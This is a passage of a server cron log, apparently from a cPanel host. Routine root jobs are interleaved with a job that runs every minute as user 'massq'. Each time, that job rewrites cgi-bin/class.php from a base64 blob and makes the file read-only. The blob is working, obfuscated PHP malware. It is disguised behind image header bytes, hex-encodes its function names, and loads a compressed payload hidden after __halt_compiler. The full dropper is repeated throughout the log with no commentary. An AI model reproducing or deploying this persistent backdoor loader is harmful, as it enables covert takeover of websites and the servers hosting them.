&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:24:01 server CROND[20769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:25:01 server CROND[21587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:25:01 server CROND[21588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:25:01 server CROND[21589]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:26:01 server CROND[22214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:27:01 server CROND[22786]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 13:27:01 server CROND[22789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:28:01 server CROND[23597]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:29:01 server CROND[24435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:30:01 server CROND[25229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:30:01 server CROND[25231]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:30:01 server CROND[25232]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 13:30:01 server CROND[25230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:31:01 server CROND[26107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:32:01 server CROND[26937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:33:01 server CROND[27746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:34:02 server CROND[28660]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:35:01 server CROND[29465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:35:01 server CROND[29467]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 13:35:01 server CROND[29468]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 13:35:01 server CROND[29466]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:35:01 server CROND[29469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
